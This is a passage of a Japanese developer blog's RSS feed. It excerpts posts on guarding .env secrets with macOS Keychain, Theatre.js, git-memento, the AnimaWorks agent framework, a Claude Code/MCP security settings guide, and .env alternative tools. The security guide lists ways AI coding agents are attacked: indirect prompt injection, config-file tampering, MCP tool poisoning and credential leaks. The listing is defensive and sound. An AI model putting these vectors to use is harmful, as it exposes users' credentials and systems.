+0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/macos-keychain-%E3%81%A7-.env-%E3%81%AE%E3%82%B7%E3%83%BC%E3%82%AF%E3%83%AC%E3%83%83%E3%83%88%E3%82%92%E5%AE%88%E3%82%8B-1password-%E4%B8%8D%E8%A6%81%E7%84%A1%E6%96%99%E3%81%A7%E5%AE%9F%E7%8F%BE%E3%81%99%E3%82%8B-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AE%E7%A7%98%E5%AF%86%E7%AE%A1%E7%90%86/</guid><description>&lt;h1 id="macos-keychain-で-env-のシークレットを守る--1password-不要無料で実現する-ai-エージェント時代の秘密管理"&gt;macOS Keychain で .env のシークレットを守る — 1Password 不要、無料で実現する AI エージェント時代の秘密管理&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://gist.github.com/hdknr/ee3017a7e8bcfbb995b93b8884cec258"&gt;前回の記事&lt;/a&gt;で、&lt;a href="https://x.com/suin/status/2025525553823191550"&gt;@suin 氏の opx&lt;/a&gt; を紹介しました。1Password CLI をラップし、&lt;code&gt;.env&lt;/code&gt; に &lt;code&gt;op://&lt;/code&gt; 参照だけを書くことで AI エージェントからシークレットを守るツールです。&lt;/p&gt;
&lt;p&gt;しかし、opx には 1Password の契約（月額 $2.99〜）が前提という制約があります。実は macOS には &lt;strong&gt;Keychain&lt;/strong&gt; という強力な秘密管理基盤が標準搭載されており、追加コストなしで同等の「プロセススコープ認証」を実現できます。本記事では、macOS 組み込み機能だけで .env の秘密を守る方法を、ツール選定から実践設定まで解説します。&lt;/p&gt;
&lt;h2 id="なぜ-macos-keychain-なのか"&gt;なぜ macOS Keychain なのか&lt;/h2&gt;
&lt;h3 id="1password-との比較"&gt;1Password との比較&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;1Password + opx&lt;/th&gt;
&lt;th&gt;macOS Keychain&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;コスト&lt;/td&gt;
&lt;td&gt;月額 $2.99〜&lt;/td&gt;
&lt;td&gt;無料（OS 標準）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;インストール&lt;/td&gt;
&lt;td&gt;1Password アプリ + CLI + opx&lt;/td&gt;
&lt;td&gt;不要（&lt;code&gt;security&lt;/code&gt; コマンドが標準搭載）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;チーム共有&lt;/td&gt;
&lt;td&gt;Vault 共有で容易&lt;/td&gt;
&lt;td&gt;端末ローカル（共有には別の仕組みが必要）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;クラウド同期&lt;/td&gt;
&lt;td&gt;1Password クラウド&lt;/td&gt;
&lt;td&gt;iCloud Keychain で Apple デバイス間は同期可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Touch ID&lt;/td&gt;
&lt;td&gt;&lt;code&gt;op run&lt;/code&gt; 時に認証&lt;/td&gt;
&lt;td&gt;Keychain アクセス時に認証（設定が必要）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux 対応&lt;/td&gt;
&lt;td&gt;1Password CLI あり&lt;/td&gt;
&lt;td&gt;gnome-keyring / KeePassXC で代替&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;暗号化&lt;/td&gt;
&lt;td&gt;1Password 独自（AES-256-GCM）&lt;/td&gt;
&lt;td&gt;macOS Keychain（AES-256）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;個人開発やスモールチームなら、macOS Keychain で十分です。チーム全体でシークレットを共有したい場合は 1Password の Vault 共有が優位ですが、「AI エージェントに .env を読まれても安全にする」という目的だけなら無料で実現できます。&lt;/p&gt;</description></item><item><title>Theatre.js — GUI でWebアニメーションを直感的に作れるモーションデザインエディタ</title><link>https://hdknr.github.io/blogs/posts/2026/03/theatre.js-gui-%E3%81%A7web%E3%82%A2%E3%83%8B%E3%83%A1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%92%E7%9B%B4%E6%84%9F%E7%9A%84%E3%81%AB%E4%BD%9C%E3%82%8C%E3%82%8B%E3%83%A2%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%82%A8%E3%83%87%E3%82%A3%E3%82%BF/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/theatre.js-gui-%E3%81%A7web%E3%82%A2%E3%83%8B%E3%83%A1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%92%E7%9B%B4%E6%84%9F%E7%9A%84%E3%81%AB%E4%BD%9C%E3%82%8C%E3%82%8B%E3%83%A2%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%82%A8%E3%83%87%E3%82%A3%E3%82%BF/</guid><description>&lt;h1 id="theatrejs--gui-でwebアニメーションを直感的に作れるモーションデザインエディタ"&gt;Theatre.js — GUI でWebアニメーションを直感的に作れるモーションデザインエディタ&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/shiba_program/status/2028787478908502388"&gt;しば（@shiba_program）氏のポスト&lt;/a&gt;が、GUI でWebアニメーションを作成できる JavaScript ライブラリ「Theatre.js」を紹介しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;GUIで直感的にWebアニメーションが作れる「theatre.js」すごいな。編集した内容が即座に反映されるので、これは微調整捗る。GUIで編集できるから、デザイナーに調整任せることもできそう。デモにある高度なものだけでなく、Webサイトで使うシンプルなアニメーションの作成もかなり楽にしてくれるはず
— しば（@shiba_program）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;投稿が注目している「デザイナーに調整を任せられる」という点は、Theatre.js の設計思想の核心です。コードでアニメーション対象を定義し、ブラウザ上の GUI エディタで動きを調整する。このワークフローにより、エンジニアとデザイナーの協業が自然に成立します。&lt;/p&gt;
&lt;h2 id="theatrejs-とは何か"&gt;Theatre.js とは何か&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.theatrejs.com/"&gt;Theatre.js&lt;/a&gt; はフィンランド・ヘルシンキの Theatre.js Oy が開発するオープンソースの Web モーションデザインライブラリです。GitHub Stars 12.2k、1,600以上のプロジェクトが依存しており、Web アニメーション領域で確固たる地位を築いています。&lt;/p&gt;
&lt;h3 id="基本情報"&gt;基本情報&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;開発元&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Theatre.js Oy（ヘルシンキ）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ライセンス&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Apache 2.0（@theatre/core）/ AGPL 3.0（@theatre/studio）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;言語&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TypeScript 82.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitHub Stars&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;12.2k&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;現バージョン&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.5（1.0 開発中）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;対応技術&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Three.js、React Three Fiber、HTML/SVG、任意のJSライブラリ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="2つのパッケージ構成"&gt;2つのパッケージ構成&lt;/h3&gt;
&lt;p&gt;Theatre.js は2つの独立したパッケージで構成されます。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;パッケージ&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;th&gt;使用場面&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;@theatre/core&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;アニメーション再生エンジン&lt;/td&gt;
&lt;td&gt;開発・本番の両方&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;@theatre/studio&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GUI エディタ（シーケンスエディタ、グラフエディタ、プロパティパネル）&lt;/td&gt;
&lt;td&gt;開発時のみ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;この分離設計が重要です。Studio は開発時にのみ使い、本番ビルドには core だけを含めます。エディタのコードが本番バンドルに入らないため、パフォーマンスへの影響はありません。&lt;/p&gt;
&lt;h2 id="4つの基本概念"&gt;4つの基本概念&lt;/h2&gt;
&lt;p&gt;Theatre.js には、理解すべき4つの概念があります。&lt;/p&gt;</description></item><item><title>AI が書いたコードに「なぜそうなったか」の記録はあるか --- git-memento と AI コード追跡の新標準</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%81%8C%E6%9B%B8%E3%81%84%E3%81%9F%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AB%E3%81%AA%E3%81%9C%E3%81%9D%E3%81%86%E3%81%AA%E3%81%A3%E3%81%9F%E3%81%8B%E3%81%AE%E8%A8%98%E9%8C%B2%E3%81%AF%E3%81%82%E3%82%8B%E3%81%8B---git-memento-%E3%81%A8-ai-%E3%82%B3%E3%83%BC%E3%83%89%E8%BF%BD%E8%B7%A1%E3%81%AE%E6%96%B0%E6%A8%99%E6%BA%96/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai-%E3%81%8C%E6%9B%B8%E3%81%84%E3%81%9F%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AB%E3%81%AA%E3%81%9C%E3%81%9D%E3%81%86%E3%81%AA%E3%81%A3%E3%81%9F%E3%81%8B%E3%81%AE%E8%A8%98%E9%8C%B2%E3%81%AF%E3%81%82%E3%82%8B%E3%81%8B---git-memento-%E3%81%A8-ai-%E3%82%B3%E3%83%BC%E3%83%89%E8%BF%BD%E8%B7%A1%E3%81%AE%E6%96%B0%E6%A8%99%E6%BA%96/</guid><description>&lt;h1 id="ai-が書いたコードになぜそうなったかの記録はあるか--git-memento-と-ai-コード追跡の新標準"&gt;AI が書いたコードに「なぜそうなったか」の記録はあるか &amp;mdash; git-memento と AI コード追跡の新標準&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/__SatoshiSsSs__/status/2028657936009245106"&gt;@&lt;strong&gt;SatoshiSsSs&lt;/strong&gt; 氏が X で投稿&lt;/a&gt;した、git-memento に関する解説が注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;AIが書いたコードに「なぜそうなったか」の記録はあるか？ Hacker News（HN）で議論になっている git-memento を読み解く&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://news.ycombinator.com/item?id=47212355"&gt;Hacker News での議論&lt;/a&gt;では、AI が生成したコードのセッション履歴をコミットに紐づけるべきか否かが活発に議論されています。AI コーディングの普及とともに、「コードは動くが、なぜその実装になったのか誰も分からない」という問題が深刻化しています。本記事では、この問題の構造と、git-memento をはじめとする解決策の技術的な仕組みを掘り下げます。&lt;/p&gt;
&lt;h2 id="問題--ai-が書いたコードのなぜが消えている"&gt;問題 &amp;mdash; AI が書いたコードの「なぜ」が消えている&lt;/h2&gt;
&lt;h3 id="vibe-coding-時代の追跡可能性の危機"&gt;Vibe Coding 時代の追跡可能性の危機&lt;/h3&gt;
&lt;p&gt;2026 年、AI コーディングツール（Claude Code、Cursor、GitHub Copilot など）でコードを書くことが日常になりました。しかし、AI が生成したコードには構造的な問題があります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;従来の開発:
開発者が考える → コードを書く → コミットメッセージに意図を記録
→ 「なぜそうしたか」は開発者の頭の中 + コミット履歴にある
AI 駆動開発:
開発者が指示する → AI が考える → AI がコードを書く → コミット
→ 「なぜそうなったか」は AI セッションの中に閉じている
→ セッションが終わると消える
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;CodeRabbit の分析（2025 年 12 月）によると、AI と共著されたコードは人間が書いたコードと比較して、ロジックエラーが 75% 多く、セキュリティ脆弱性が 2.74 倍多いとされています。問題が発見されたとき、「なぜこの実装になったのか」を遡れなければ、修正の方針すら立てられません。&lt;/p&gt;</description></item><item><title>AnimaWorks — 「AIだけの会社組織」を作る日本発フレームワークの設計思想</title><link>https://hdknr.github.io/blogs/posts/2026/03/animaworks-ai%E3%81%A0%E3%81%91%E3%81%AE%E4%BC%9A%E7%A4%BE%E7%B5%84%E7%B9%94%E3%82%92%E4%BD%9C%E3%82%8B%E6%97%A5%E6%9C%AC%E7%99%BA%E3%83%95%E3%83%AC%E3%83%BC%E3%83%A0%E3%83%AF%E3%83%BC%E3%82%AF%E3%81%AE%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/animaworks-ai%E3%81%A0%E3%81%91%E3%81%AE%E4%BC%9A%E7%A4%BE%E7%B5%84%E7%B9%94%E3%82%92%E4%BD%9C%E3%82%8B%E6%97%A5%E6%9C%AC%E7%99%BA%E3%83%95%E3%83%AC%E3%83%BC%E3%83%A0%E3%83%AF%E3%83%BC%E3%82%AF%E3%81%AE%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3/</guid><description>&lt;h1 id="animaworks--aiだけの会社組織を作る日本発フレームワークの設計思想"&gt;AnimaWorks — 「AIだけの会社組織」を作る日本発フレームワークの設計思想&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/ryoma_nakajima/status/2028393374991208742"&gt;りょうま(@ryoma_nakajima)氏のポスト&lt;/a&gt;で紹介された「AnimaWorks」が注目を集めています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;日本人が開発している「AIだけで作る会社組織」フレームワークを試してみる。AIに性格を指定するところから始まるのが近未来感すごすぎて好き
— りょうま(@ryoma_nakajima)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;72,000超の表示、447ブックマークという反響は、「AIエージェントに組織を作らせる」というアイデアへの強い関心を示しています。元になった&lt;a href="https://x.com/medmuspg/status/2028393374991208742"&gt;げれげれ(@medmuspg)氏のポスト&lt;/a&gt;では、OpenClawとの違いを「1人の優秀なAI秘書」と「AIだけの会社組織」という対比で説明しています。&lt;/p&gt;
&lt;p&gt;本記事では &lt;a href="https://github.com/xuiltul/animaworks"&gt;AnimaWorks&lt;/a&gt; の設計思想を掘り下げ、マルチエージェントフレームワークの現在地を整理します。&lt;/p&gt;
&lt;h2 id="animaworks-とは何か"&gt;AnimaWorks とは何か&lt;/h2&gt;
&lt;p&gt;AnimaWorks は「Organization-as-Code」を標榜する、自律型AIエージェントチームのためのオープンソースフレームワークです。Apache License 2.0で公開されており、10,600行以上のPythonコードで構成されています。&lt;/p&gt;
&lt;p&gt;コアの思想は明快です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Imperfect individuals collaborating through structure outperform any single omniscient actor.&amp;quot;（不完全な個体が構造を通じて協力すれば、単一の全知の存在を凌駕する）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;開発者&lt;/td&gt;
&lt;td&gt;xuiltul（日本人開発者）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;言語&lt;/td&gt;
&lt;td&gt;Python（10,600行以上）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ライセンス&lt;/td&gt;
&lt;td&gt;Apache License 2.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;対応モデル&lt;/td&gt;
&lt;td&gt;Claude, GPT-4o, Gemini, Mistral, Ollama 等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;実行モード&lt;/td&gt;
&lt;td&gt;4種（Claude Agent SDK / Codex SDK / LiteLLM / Basic）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UI&lt;/td&gt;
&lt;td&gt;Webダッシュボード + 3Dワークスペース + 音声チャット&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="openclaw-との決定的な違い"&gt;OpenClaw との決定的な違い&lt;/h2&gt;
&lt;p&gt;OpenClaw と AnimaWorks は同じ「AIエージェント」カテゴリに分類されますが、設計思想が根本的に異なります。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;観点&lt;/th&gt;
&lt;th&gt;OpenClaw&lt;/th&gt;
&lt;th&gt;AnimaWorks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;設計思想&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1人の優秀なAI秘書&lt;/td&gt;
&lt;td&gt;AIだけの会社組織&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;エージェント数&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;基本は1体（拡張でマルチ可）&lt;/td&gt;
&lt;td&gt;最初からマルチエージェント前提&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;関係性&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ユーザーとエージェントの1対1&lt;/td&gt;
&lt;td&gt;上司・部下の階層構造&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;記憶&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;コンテキストウィンドウ依存&lt;/td&gt;
&lt;td&gt;神経科学に着想を得た永続記憶&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;通信&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ユーザーへの応答&lt;/td&gt;
&lt;td&gt;エージェント間の非同期メッセージング&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;カプセル化&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;なし（透過的）&lt;/td&gt;
&lt;td&gt;各エージェントの内部は他から不可視&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;開発元&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Peter Steinberger（オーストリア、現OpenAI）&lt;/td&gt;
&lt;td&gt;xuiltul（日本）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;この違いは単なる機能差ではなく、&lt;strong&gt;組織論&lt;/strong&gt;に基づく設計かどうかの差です。AnimaWorks は「不完全な個体の協力」を前提に設計されており、現実の企業組織と同じく、情報の非対称性やコミュニケーションコストを意図的に組み込んでいます。&lt;/p&gt;</description></item><item><title>Claude Code / MCP を安全に使うための実践ガイド — settings.json の多層防御と deny の落とし穴</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-/-mcp-%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E4%BD%BF%E3%81%86%E3%81%9F%E3%82%81%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89-settings.json-%E3%81%AE%E5%A4%9A%E5%B1%A4%E9%98%B2%E5%BE%A1%E3%81%A8-deny-%E3%81%AE%E8%90%BD%E3%81%A8%E3%81%97%E7%A9%B4/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-/-mcp-%E3%82%92%E5%AE%89%E5%85%A8%E3%81%AB%E4%BD%BF%E3%81%86%E3%81%9F%E3%82%81%E3%81%AE%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89-settings.json-%E3%81%AE%E5%A4%9A%E5%B1%A4%E9%98%B2%E5%BE%A1%E3%81%A8-deny-%E3%81%AE%E8%90%BD%E3%81%A8%E3%81%97%E7%A9%B4/</guid><description>&lt;h1 id="claude-code--mcp-を安全に使うための実践ガイド--settingsjson-の多層防御と-deny-の落とし穴"&gt;Claude Code / MCP を安全に使うための実践ガイド — settings.json の多層防御と deny の落とし穴&lt;/h1&gt;
&lt;p&gt;セキュリティ研究者の&lt;a href="https://x.com/yousukezan/status/2028651068176171479"&gt;yousukezan氏&lt;/a&gt;（バグバウンティプログラムでランク1位受賞歴あり）が紹介した Zenn 記事「&lt;a href="https://zenn.dev/ytksato/articles/057dc7c981d304"&gt;Claude Code / MCP を安全に使うための実践ガイド&lt;/a&gt;」が注目を集めています。165いいね、161ブックマークという反響は、Claude Code のセキュリティ設定に対する実務者の強い関心を示しています。&lt;/p&gt;
&lt;p&gt;本記事では元記事の内容を掘り下げつつ、公式ドキュメントや GitHub Issues の情報を加えて、&lt;strong&gt;実務で本当に機能するセキュリティ設定&lt;/strong&gt;を整理します。&lt;/p&gt;
&lt;h2 id="背景--8桁後半の被害事例"&gt;背景 — 8桁後半の被害事例&lt;/h2&gt;
&lt;p&gt;この記事が書かれた背景には、&lt;a href="https://gist.github.com/hdknr/67f7657965c1f660dfbad9b0e88d0414"&gt;AI コーディングツール経由で Google Ads の MCC が乗っ取られ、8桁後半の被害が発生した事例&lt;/a&gt;があります。報告された4つの攻撃ベクターは全て Claude Code / MCP の利用シーンで再現可能です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;攻撃ベクター&lt;/th&gt;
&lt;th&gt;Claude Code での該当リスク&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;間接プロンプトインジェクション&lt;/td&gt;
&lt;td&gt;Webページに埋め込まれた隠し指示をAIが実行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;プロンプトサプライチェーン攻撃&lt;/td&gt;
&lt;td&gt;外部から取得した CLAUDE.md / settings.json / .mcp.json の改ざん&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MCP権限悪用（Tool Poisoning）&lt;/td&gt;
&lt;td&gt;許可済みMCPツールの悪意ある利用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;クレデンシャルリーク&lt;/td&gt;
&lt;td&gt;トークンやAPIキーのログ・git履歴への残存&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="最も重要な3つの設定"&gt;最も重要な3つの設定&lt;/h2&gt;
&lt;p&gt;元記事が推奨する最小限の設定は3つです。&lt;/p&gt;
&lt;h3 id="1-bypasspermissions-モードの無効化"&gt;1. bypassPermissions モードの無効化&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;permissions&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;disableBypassPermissionsMode&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;disable&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; フラグは全ての承認プロンプトをスキップします。&lt;a href="https://code.claude.com/docs/en/permissions"&gt;公式ドキュメント&lt;/a&gt;によると、このモードではClaude がファイルの削除、破壊的なコマンドの実行、不可逆な変更を承認なしで行えます。&lt;code&gt;disableBypassPermissionsMode: &amp;quot;disable&amp;quot;&lt;/code&gt; で&lt;strong&gt;組織全体でこのモードを禁止&lt;/strong&gt;できます。&lt;/p&gt;</description></item><item><title>dotenvx・lkr・aws-vault・1Password CLI — .env 代替ツール4種の選び方とベストプラクティス</title><link>https://hdknr.github.io/blogs/posts/2026/03/dotenvxlkraws-vault1password-cli-.env-%E4%BB%A3%E6%9B%BF%E3%83%84%E3%83%BC%E3%83%AB4%E7%A8%AE%E3%81%AE%E9%81%B8%E3%81%B3%E6%96%B9%E3%81%A8%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9/</link><pubDate>Tue, 03 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/dotenvxlkraws-vault1password-cli-.env-%E4%BB%A3%E6%9B%BF%E3%83%84%E3%83%BC%E3%83%AB4%E7%A8%AE%E3%81%AE%E9%81%B8%E3%81%B3%E6%96%B9%E3%81%A8%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9/</guid><description>&lt;h1 id="dotenvxlkraws-vault1password-cli--env-代替ツール4種の選び方とベストプラクティス"&gt;dotenvx・lkr・aws-vault・1Password CLI — .env 代替ツール4種の選び方とベストプラクティス&lt;/h1&gt;
&lt;p&gt;AI エージェントが &lt;code&gt;.env&lt;/code&gt; ファイルを読み取るリスクが現実のものとなり、平文の &lt;code&gt;.env&lt;/code&gt; を代替するツールが続々と登場しています。本シリーズでは &lt;a href="https://gist.github.com/hdknr/c6757cc9fa558f456eb0920dea2f76e1"&gt;aws-vault&lt;/a&gt;、&lt;a href="https://gist.github.com/hdknr/7276db2810dcd2906c299fa0a1874b44"&gt;lkr&lt;/a&gt;、&lt;a href="https://gist.github.com/hdknr/db0f59b8d75be3b932868c101207fbc8"&gt;dotenvx + 1Password CLI&lt;/a&gt; をそれぞれ解説してきました。&lt;/p&gt;
&lt;p&gt;しかし「結局どれを使えばいいのか」という疑問が残ります。本記事では、4つのツールの守備範囲・強み・限界を比較し、チーム構成や開発環境に応じた選択指針を提示します。&lt;/p&gt;
&lt;h2 id="4ツールの守備範囲"&gt;4ツールの守備範囲&lt;/h2&gt;
&lt;p&gt;最も重要な違いは&lt;strong&gt;管理対象の範囲&lt;/strong&gt;です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ツール&lt;/th&gt;
